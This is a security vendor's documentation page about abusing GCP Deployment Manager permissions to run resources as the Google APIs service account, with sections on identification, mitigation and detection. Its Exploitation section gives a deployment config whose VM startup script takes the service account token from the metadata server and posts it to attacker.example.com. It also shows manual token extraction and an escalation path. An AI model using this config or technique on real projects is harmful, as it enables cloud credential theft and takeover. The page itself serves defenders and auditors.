> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_deploy_infra.md).

# GCP\_CAN\_DEPLOY\_INFRA

## Summary

|                            |                                                                   |
| -------------------------- | ----------------------------------------------------------------- |
| **FSProtect ACL Alias**    | GCP\_CAN\_DEPLOY\_INFRA                                           |
| **GCP Alias**              | Compute Execution & Pipeline Pivots                               |
| **Affected Object Types**  | Projects                                                          |
| **Exploitation Certainty** | Certain                                                           |
| **Granting Roles**         | `roles/deploymentmanager.admin`, `roles/deploymentmanager.editor` |

## Description

`GCP_CAN_DEPLOY_INFRA` indicates that an identity can create and manage **Deployment Manager** deployments. Deployment Manager is GCP's infrastructure-as-code service (similar to Terraform or CloudFormation). Critically, Deployment Manager executes deployments using the **Google APIs Service Agent** (`[PROJECT_NUMBER]@cloudservices.gserviceaccount.com`), which is automatically granted `roles/editor` on the project.

An attacker with Deployment Manager permissions can define a deployment that provisions a VM or other resource with malicious configuration, all executed as the Google APIs SA. This SA has broad project-level write access and its token can be extracted from the provisioned resources.

**Key abuse scenarios:**

* Deploy a VM via Deployment Manager (executed as Google APIs SA) → the SA has editor rights → extract SA token or abuse provisioned resources.
* Deploy a Cloud Function with a custom SA → extract token from the function's execution environment.
* Use Deployment Manager to create IAM bindings or service account keys as the Google APIs SA.

## Identification

### gcloud CLI

```bash
# Find who has Deployment Manager admin or editor roles
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("deploymentmanager.admin|deploymentmanager.editor")) | {role: .role, members: .members}'

# Check Google APIs SA permissions
PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")
APIS_SA="${PROJECT_NUMBER}@cloudservices.gserviceaccount.com"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq --arg sa "serviceAccount:${APIS_SA}" '.bindings[] | select(.members[] | contains($sa))'

# List existing deployments
gcloud deployment-manager deployments list --project=$PROJECT_ID \
  --format="table(name, operation.status, insertTime)"
```

### GCP Console

1. Open **GCP Console** → **Deployment Manager** → review all existing deployments.
2. Check **IAM & Admin** → **IAM** for principals with `Deployment Manager Admin` or `Deployment Manager Editor`.
3. Review the Google APIs SA (`[PROJECT_NUMBER]@cloudservices.gserviceaccount.com`) permissions.

## Exploitation

### gcloud CLI

```bash
# Write a malicious Deployment Manager config that provisions a VM with a token-exfiltrating startup script
cat > /tmp/config.yaml << 'EOF'
resources:
- name: attacker-vm
  type: compute.v1.instance
  properties:
    zone: us-central1-a
    machineType: zones/us-central1-a/machineTypes/e2-micro
    serviceAccounts:
    - email: default
      scopes:
      - https://www.googleapis.com/auth/cloud-platform
    disks:
    - deviceName: boot
      type: PERSISTENT
      boot: true
      autoDelete: true
      initializeParams:
        sourceImage: projects/debian-cloud/global/images/family/debian-11
    networkInterfaces:
    - network: global/networks/default
      accessConfigs:
      - name: External NAT
        type: ONE_TO_ONE_NAT
    metadata:
      items:
      - key: startup-script
        value: |
          #!/bin/bash
          TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
            "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")
          curl -X POST -d "$TOKEN" https://attacker.example.com/collect
EOF

# Submit the deployment — executed as the Google APIs SA (roles/editor on the project by default)
PROJECT_ID="target-project"
gcloud deployment-manager deployments create attacker-deployment \
  --config=/tmp/config.yaml \
  --project=$PROJECT_ID
```

Alternatively, SSH into the provisioned VM and extract the token interactively:

```bash
gcloud compute ssh attacker-vm --zone=us-central1-a --project=$PROJECT_ID

# From inside the VM:
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
```

**Compound path:** `GCP_CAN_DEPLOY_INFRA` → deploy VM via Google APIs SA (`roles/editor`) → extract Compute Engine default SA token from metadata server → use token to create additional SA keys, modify IAM bindings, or impersonate higher-privilege SAs.

## Mitigation

1. **Restrict `roles/deploymentmanager.editor`** to a dedicated automation SA, never human users in production.
2. **Remove or restrict the Google APIs SA (`[PROJECT_NUMBER]@cloudservices.gserviceaccount.com`) permissions** — the default `roles/editor` is too broad; use a custom minimal role if Deployment Manager is required.
3. **Prefer Terraform with a purpose-specific SA** over Deployment Manager to avoid the overly privileged Google APIs SA.
4. **Audit all deployments** for unexpected resource types or startup scripts.
5. **Enable deployment approval workflows** before Deployment Manager can create or modify resources in production.

## Detection

| Log Type       | Method                                        | Key Fields                                      |
| -------------- | --------------------------------------------- | ----------------------------------------------- |
| Admin Activity | `insert` (deploymentmanager)                  | `resource.type=deployment`, deployment creation |
| Admin Activity | `*compute.instances.insert` by Google APIs SA | VM created by Deployment Manager                |

```bash
# Monitor Deployment Manager operations
gcloud logging read \
  'resource.type="deployment" AND protoPayload.methodName=~"deploymentmanager"' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName)"

# Monitor VMs created by the Google APIs SA (Deployment Manager execution)
PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")
gcloud logging read \
  "protoPayload.authenticationInfo.principalEmail=\"${PROJECT_NUMBER}@cloudservices.gserviceaccount.com\" AND protoPayload.methodName=~\"compute.instances.insert\"" \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.request.name, protoPayload.request.serviceAccounts)"
```

Alert on:

* Deployment creation by non-standard identities.
* Deployments that provision compute instances.
* Google APIs SA creating resources outside of known infrastructure pipelines.

## References

* <https://cloud.google.com/deployment-manager/docs/access-control>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_deploy_infra.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
